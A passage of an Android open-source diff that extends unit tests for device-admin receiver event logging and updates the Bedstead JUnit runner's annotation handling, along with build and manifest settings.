--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
@@ -18,41 +18,77 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.net.Uri;
+import android.os.PersistableBundle;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.devicepolicy.DeviceOwner;
 import com.android.bedstead.nene.devicepolicy.ProfileOwner;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportFailedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportSharedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminBugreportSharingDeclinedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminChoosePrivateKeyAliasEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisableRequestedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisabledEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminEnabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminLockTaskModeEnteringEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminLockTaskModeExitingEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminNetworkLogsAvailableEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminOperationSafetyStateChangedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordExpiringEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordFailedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordSucceededEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminProfileProvisioningCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminReadyForUserInitializationEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSecurityLogsAvailableEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSystemUpdatePendingEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminTransferOwnershipCompleteEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserAddedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserRemovedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserStartedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserStoppedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminUserSwitchedEvent;
 
 import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class EventLibDeviceAdminReceiverTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final ComponentName DEVICE_ADMIN_COMPONENT =
             new ComponentName(
                     sContext.getPackageName(), EventLibDeviceAdminReceiver.class.getName());
-    private static final UserReference sUser = sTestApis.users().instrumented();
-    private static final DevicePolicyManager sDevicePolicyManager =
-            sContext.getSystemService(DevicePolicyManager.class);
+    private static final UserReference sUser = TestApis.users().instrumented();
     private static final Intent sIntent = new Intent();
+    private static final String PKG = "package";
+    private static final int UID = 1;
+    private static final Uri URI = Uri.parse("http://uri");
+    private static final String ALIAS = "alias";
+    private static final String BUGREPORT_HASH = "A";
+    private static final int FAILURE_CODE = 1;
+    private static final long BATCH_TOKEN = 1;
+    private static final int NETWORK_LOGS_COUNT = 1;
+    private static final PersistableBundle sPersistableBundle = new PersistableBundle();
+    private static final int REASON = 1;
+    private static final boolean IS_SAFE = true;
 
     @Before
     public void setUp() {
@@ -60,9 +96,10 @@
     }
 
     @Test
+    @EnsureHasNoDeviceOwner
     public void enableDeviceOwner_logsEnabledEvent() {
         DeviceOwner deviceOwner =
-                sTestApis.devicePolicy().setDeviceOwner(sUser, DEVICE_ADMIN_COMPONENT);
+                TestApis.devicePolicy().setDeviceOwner(DEVICE_ADMIN_COMPONENT);
 
         try {
             EventLogs<DeviceAdminEnabledEvent> eventLogs =
@@ -75,9 +112,10 @@
     }
 
     @Test
+    @EnsureHasNoProfileOwner
     public void enableProfileOwner_logsEnabledEvent() {
         ProfileOwner profileOwner =
-                sTestApis.devicePolicy().setProfileOwner(sUser, DEVICE_ADMIN_COMPONENT);
+                TestApis.devicePolicy().setProfileOwner(sUser, DEVICE_ADMIN_COMPONENT);
 
         try {
             EventLogs<DeviceAdminEnabledEvent> eventLogs =
@@ -97,7 +135,7 @@
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll()).isNotNull();
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
     }
 
     @Test
@@ -108,7 +146,7 @@
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll()).isNotNull();
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
     }
 
     @Test
@@ -119,7 +157,7 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll()).isNotNull();
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
     }
 
     @Test
@@ -130,7 +168,9 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll().userHandle()).isEqualTo(sUser.userHandle());
+        DeviceAdminPasswordChangedEvent event = eventLogs.poll();
+        assertThat(event.intent()).isEqualTo(sIntent);
+        assertThat(event.userHandle()).isEqualTo(sUser.userHandle());
     }
 
     @Test
@@ -141,7 +181,7 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll()).isNotNull();
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
     }
 
     @Test
@@ -152,7 +192,9 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll().userHandle()).isEqualTo(sUser.userHandle());
+        DeviceAdminPasswordFailedEvent event = eventLogs.poll();
+        assertThat(event.intent()).isEqualTo(sIntent);
+        assertThat(event.userHandle()).isEqualTo(sUser.userHandle());
     }
 
     @Test
@@ -163,7 +205,7 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll()).isNotNull();
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
     }
 
     @Test
@@ -174,7 +216,88 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.poll().userHandle()).isEqualTo(sUser.userHandle());
+        DeviceAdminPasswordSucceededEvent event = eventLogs.poll();
+        assertThat(event.intent()).isEqualTo(sIntent);
+        assertThat(event.userHandle()).isEqualTo(sUser.userHandle());
+    }
+
+    @Test
+    public void passwordExpiring_logsPasswordExpiringEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onPasswordExpiring(sContext, sIntent);
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void passwordExpiringWithUserHandle_logsPasswordExpiringEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onPasswordExpiring(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName());
+        DeviceAdminPasswordExpiringEvent event = eventLogs.poll();
+        assertThat(event.intent()).isEqualTo(sIntent);
+        assertThat(event.user()).isEqualTo(sUser.userHandle());
+    }
+
+    @Test
+    public void profileProvisioningComplete_logsProfileProvisioningCompleteEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onProfileProvisioningComplete(sContext, sIntent);
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void readyForUserInitialization_logsReadyForUserInitializationEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onReadyForUserInitialization(sContext, sIntent);
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void lockTaskModeEntering_logsLockTaskModeEnteringEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onLockTaskModeEntering(sContext, sIntent, PKG);
+
+        EventLogs<DeviceAdminLockTaskModeEnteringEvent> eventLogs =
+                DeviceAdminLockTaskModeEnteringEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void lockTaskModeExiting_logsLockTaskModeExitingEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onLockTaskModeExiting(sContext, sIntent);
+
+        EventLogs<DeviceAdminLockTaskModeExitingEvent> eventLogs =
+                DeviceAdminLockTaskModeExitingEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void choosePrivateKeyAlias_logsChoosePrivateKeyAliasEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onChoosePrivateKeyAlias(sContext, sIntent, UID, URI, ALIAS);
+
+        EventLogs<DeviceAdminChoosePrivateKeyAliasEvent> eventLogs =
+                DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
     }
 
     @Test
@@ -188,4 +311,149 @@
                 DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName());
         assertThat(eventLogs.poll().receivedTime()).isEqualTo(receivedTime);
     }
+
+    @Test
+    public void bugreportSharingDeclined_logsBugReportSharingDeclinedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onBugreportSharingDeclined(sContext, sIntent);
+
+        EventLogs<DeviceAdminBugreportSharingDeclinedEvent> eventLogs =
+                DeviceAdminBugreportSharingDeclinedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void bugreportShared_logsBugReportSharedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onBugreportShared(sContext, sIntent, BUGREPORT_HASH);
+
+        EventLogs<DeviceAdminBugreportSharedEvent> eventLogs =
+                DeviceAdminBugreportSharedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void bugreportFailed_logsBugReportFailedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onBugreportFailed(sContext, sIntent, FAILURE_CODE);
+
+        EventLogs<DeviceAdminBugreportFailedEvent> eventLogs =
+                DeviceAdminBugreportFailedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void securityLogsAvailable_logsSecurityLogsAvailableEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onSecurityLogsAvailable(sContext, sIntent);
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void networkLogsAvailable_logsNetworksLogsAvailableEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onNetworkLogsAvailable(sContext, sIntent, BATCH_TOKEN, NETWORK_LOGS_COUNT);
+
+        EventLogs<DeviceAdminNetworkLogsAvailableEvent> eventLogs =
+                DeviceAdminNetworkLogsAvailableEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void userAdded_logsUserAddedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onUserAdded(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void userRemoved_logsUserRemovedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onUserRemoved(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void userStarted_logsUserStartedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onUserStarted(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminUserStartedEvent> eventLogs =
+                DeviceAdminUserStartedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void userStopped_logsUserStoppedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onUserStopped(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminUserStoppedEvent> eventLogs =
+                DeviceAdminUserStoppedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void userSwitched_logsUserSwitchedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onUserSwitched(sContext, sIntent, sUser.userHandle());
+
+        EventLogs<DeviceAdminUserSwitchedEvent> eventLogs =
+                DeviceAdminUserSwitchedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().intent()).isEqualTo(sIntent);
+    }
+
+    @Test
+    public void transferOwnershipComplete_logsTransferOwnershipCompleteEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onTransferOwnershipComplete(sContext, sPersistableBundle);
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().bundle()).isEqualTo(sPersistableBundle);
+    }
+
+    @Test
+    public void transferAffiliatedProfileOwnershipComplete_logsTransferAffiliatedProfileOwnershipCompleteEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onTransferAffiliatedProfileOwnershipComplete(sContext, sUser.userHandle());
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.queryPackage(
+                        sContext.getPackageName());
+        assertThat(eventLogs.poll().user()).isEqualTo(sUser.userHandle());
+    }
+
+    @Test
+    public void operationSafetyStateChanged_logsOperationSafetyStateChangedEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+
+        receiver.onOperationSafetyStateChanged(sContext, REASON, IS_SAFE);
+
+        EventLogs<DeviceAdminOperationSafetyStateChangedEvent> eventLogs =
+                DeviceAdminOperationSafetyStateChangedEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().reason()).isEqualTo(REASON);
+    }
+
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/truth/EventLogsSubjectTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/truth/EventLogsSubjectTest.java
new file mode 100644
index 0000000..8070ec2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/truth/EventLogsSubjectTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.truth;
+
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
+import static com.android.eventlib.truth.EventLogsSubject.eventLogs;
+
+import static com.google.common.truth.ExpectFailure.expectFailureAbout;
+
+import android.content.Context;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.CustomEvent;
+
+import com.google.common.truth.ExpectFailure;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.time.Duration;
+
+@RunWith(JUnit4.class)
+public class EventLogsSubjectTest {
+
+    public static final Context sContext = TestApis.context().instrumentedContext();
+
+    @Before
+    public void setup() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void eventOccurred_eventDidOccur_passes() {
+        CustomEvent.logger(sContext).log();
+
+        EventLogs<CustomEvent> eventLogs =
+                CustomEvent.queryPackage(sContext.getPackageName());
+
+        assertThat(eventLogs).eventOccurred();
+    }
+
+    // We don't test the negative of eventOccurred as it has a long timeout
+
+    @Test
+    public void eventOccurredWithin_eventDidOccur_passes() {
+        CustomEvent.logger(sContext).log();
+
+        EventLogs<CustomEvent> eventLogs =
+                CustomEvent.queryPackage(sContext.getPackageName());
+
+        assertThat(eventLogs).eventOccurredWithin(Duration.ofSeconds(5));
+    }
+
+    @Test
+    public void eventOccurredWithin_eventDidNotOccur_fails() {
+        EventLogs<CustomEvent> eventLogs =
+                CustomEvent.queryPackage(sContext.getPackageName());
+
+        expectFailure(
+                (ExpectFailure.SimpleSubjectBuilderCallback<EventLogsSubject<CustomEvent>,
+                        EventLogs<CustomEvent>>) whenTesting ->
+                        whenTesting.that(eventLogs).eventOccurredWithin(Duration.ofSeconds(5)));
+    }
+
+    private static <E extends Event> AssertionError expectFailure(
+            ExpectFailure.SimpleSubjectBuilderCallback<EventLogsSubject<E>, EventLogs<E>> callback) {
+        return expectFailureAbout(eventLogs(), callback);
+    }
+}
diff --git a/common/device-side/bedstead/harrier/Android.bp b/common/device-side/bedstead/harrier/Android.bp
index 059fc7a..e3f6715 100644
--- a/common/device-side/bedstead/harrier/Android.bp
+++ b/common/device-side/bedstead/harrier/Android.bp
@@ -29,10 +29,12 @@
         "RemoteDPC",
         "compatibility-device-util-axt",
         "androidx.test.ext.junit",
+        "auto_value_annotations"
     ],
 
     manifest: "src/main/AndroidManifest.xml",
-    min_sdk_version: "27"
+    min_sdk_version: "27",
+    plugins: ["auto_annotation_plugin"],
 }
 
 android_test {
@@ -49,6 +51,7 @@
         "androidx.test.ext.junit",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "platform-test-annotations",
         "truth-prebuilt",
         "testng" // for assertThrows
     ],
diff --git a/common/device-side/bedstead/harrier/AndroidTest.xml b/common/device-side/bedstead/harrier/AndroidTest.xml
index baee945..c7404f0 100644
--- a/common/device-side/bedstead/harrier/AndroidTest.xml
+++ b/common/device-side/bedstead/harrier/AndroidTest.xml
@@ -16,6 +16,7 @@
   -->
 <configuration description="Config for Harrier test cases">
     <option name="config-descriptor:metadata" key="parameter" value="multiuser" />
+    <target_preparer class="com.android.tradefed.targetprep.RunOnSystemUserTargetPreparer"/>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="HarrierTest.apk" />
diff --git a/common/device-side/bedstead/harrier/src/main/AndroidManifest.xml b/common/device-side/bedstead/harrier/src/main/AndroidManifest.xml
index ddd9b03..104a66c 100644
--- a/common/device-side/bedstead/harrier/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/harrier/src/main/AndroidManifest.xml
@@ -17,9 +17,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
           package="com.android.bedstead.harrier">
 
     <application>
     </application>
-    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <!-- TODO(b/194670711): Drop overrideLibrary when we bump version to 28 -->
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" tools:overrideLibrary="com.android.bedstead.remotedpc, com.android.bedstead.testapp.library, com.android.bedstead.testapp.testapps" />
 </manifest>
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
index 6a82a27..7ffabbe 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -16,11 +16,13 @@
 
 package com.android.bedstead.harrier;
 
-import android.util.Log;
+import android.os.Bundle;
 
 import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.bedstead.harrier.annotations.CalledByHostDrivenTest;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
@@ -51,6 +53,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.stream.Collectors;
 
 /**
  * A JUnit test runner for use with Bedstead.
@@ -68,12 +71,36 @@
         sIgnoredAnnotationPackages.add("org.junit");
     }
 
+    private static int annotationSorter(Annotation a, Annotation b) {
+        return getAnnotationWeight(a) - getAnnotationWeight(b);
+    }
+
+    private static int getAnnotationWeight(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            // Special case, not important
+            return AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+        }
+
+        if (!annotation.annotationType().getPackage().getName().startsWith(BEDSTEAD_PACKAGE_NAME)) {
+            return AnnotationRunPrecedence.FIRST;
+        }
+
+        try {
+            return (int) annotation.annotationType().getMethod("weight").invoke(annotation);
+        } catch (NoSuchMethodException e) {
+            // Default to PRECEDENCE_NOT_IMPORTANT if no weight is found on the annotation.
+            return AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            throw new NeneException("Failed to invoke weight on this annotation: " + annotation, e);
+        }
+    }
+
     /**
      * {@link FrameworkMethod} subclass which allows modifying the test name and annotations.
      */
     public static final class BedsteadFrameworkMethod extends FrameworkMethod {
 
-        private final Class<? extends Annotation> mParameterizedAnnotation;
+        private final Annotation mParameterizedAnnotation;
         private final Map<Class<? extends Annotation>, Annotation> mAnnotationsMap =
                 new HashMap<>();
         private Annotation[] mAnnotations;
@@ -84,8 +111,7 @@
 
         public BedsteadFrameworkMethod(Method method, Annotation parameterizedAnnotation) {
             super(method);
-            this.mParameterizedAnnotation = (parameterizedAnnotation == null) ? null
-                    : parameterizedAnnotation.annotationType();
+            mParameterizedAnnotation = parameterizedAnnotation;
 
             calculateAnnotations();
         }
@@ -93,7 +119,11 @@
         private void calculateAnnotations() {
             List<Annotation> annotations =
                     new ArrayList<>(Arrays.asList(getDeclaringClass().getAnnotations()));
-            annotations.addAll(Arrays.asList(getMethod().getAnnotations()));
+            annotations.sort(BedsteadJUnit4::annotationSorter);
+
+            annotations.addAll(Arrays.stream(getMethod().getAnnotations())
+                    .sorted(BedsteadJUnit4::annotationSorter)
+                    .collect(Collectors.toList()));
 
             parseEnterpriseAnnotations(annotations);
 
@@ -101,6 +131,9 @@
 
             this.mAnnotations = annotations.toArray(new Annotation[0]);
             for (Annotation annotation : annotations) {
+                if (annotation instanceof DynamicParameterizedAnnotation) {
+                    continue; // don't return this
+                }
                 mAnnotationsMap.put(annotation.annotationType(), annotation);
             }
         }
@@ -110,7 +143,7 @@
             if (mParameterizedAnnotation == null) {
                 return super.getName();
             }
-            return super.getName() + "[" + mParameterizedAnnotation.getSimpleName() + "]";
+            return super.getName() + "[" + getParameterName(mParameterizedAnnotation) + "]";
         }
 
         @Override
@@ -139,29 +172,60 @@
         }
     }
 
+    private static String getParameterName(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return ((DynamicParameterizedAnnotation) annotation).name();
+        }
+        return annotation.annotationType().getSimpleName();
+    }
+
     /**
      * Resolve annotations recursively.
      *
      * @param parameterizedAnnotation The class of the parameterized annotation to expand, if any
      */
     public static void resolveRecursiveAnnotations(List<Annotation> annotations,
-            @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+            @Nullable Annotation parameterizedAnnotation) {
         int index = 0;
         while (index < annotations.size()) {
             Annotation annotation = annotations.get(index);
             annotations.remove(index);
             List<Annotation> replacementAnnotations =
                     getReplacementAnnotations(annotation, parameterizedAnnotation);
+            replacementAnnotations.sort(BedsteadJUnit4::annotationSorter);
             annotations.addAll(index, replacementAnnotations);
             index += replacementAnnotations.size();
         }
     }
 
+    private static boolean isParameterizedAnnotation(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return true;
+        }
+
+        return annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null;
+    }
+
+    private static Annotation[] getIndirectAnnotations(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return ((DynamicParameterizedAnnotation) annotation).annotations();
+        }
+        return annotation.annotationType().getAnnotations();
+    }
+
+    private static boolean isRepeatingAnnotation(Annotation annotation) {
+        if (annotation instanceof DynamicParameterizedAnnotation) {
+            return false;
+        }
+
+        return annotation.annotationType().getAnnotation(RepeatingAnnotation.class) != null;
+    }
+
     private static List<Annotation> getReplacementAnnotations(Annotation annotation,
-            @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+            @Nullable Annotation parameterizedAnnotation) {
         List<Annotation> replacementAnnotations = new ArrayList<>();
 
-        if (annotation.annotationType().getAnnotation(RepeatingAnnotation.class) != null) {
+        if (isRepeatingAnnotation(annotation)) {
             try {
                 Annotation[] annotations =
                         (Annotation[]) annotation.annotationType()
@@ -173,14 +237,12 @@
             }
         }
 
-        if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null
-                && !annotation.annotationType().equals(parameterizedAnnotation)) {
+        if (isParameterizedAnnotation(annotation) && !annotation.equals(parameterizedAnnotation)) {
             return replacementAnnotations;
         }
 
-        for (Annotation indirectAnnotation : annotation.annotationType().getAnnotations()) {
-            String annotationPackage = indirectAnnotation.annotationType().getPackage().getName();
-            if (shouldSkipAnnotation(annotationPackage)) {
+        for (Annotation indirectAnnotation : getIndirectAnnotations(annotation)) {
+            if (shouldSkipAnnotation(annotation)) {
                 continue;
             }
 
@@ -188,12 +250,21 @@
                     indirectAnnotation, parameterizedAnnotation));
         }
 
-        replacementAnnotations.add(annotation);
+        if (!(annotation instanceof DynamicParameterizedAnnotation)) {
+            // We drop the fake annotation once it's replaced
+            replacementAnnotations.add(annotation);
+        }
 
         return replacementAnnotations;
     }
 
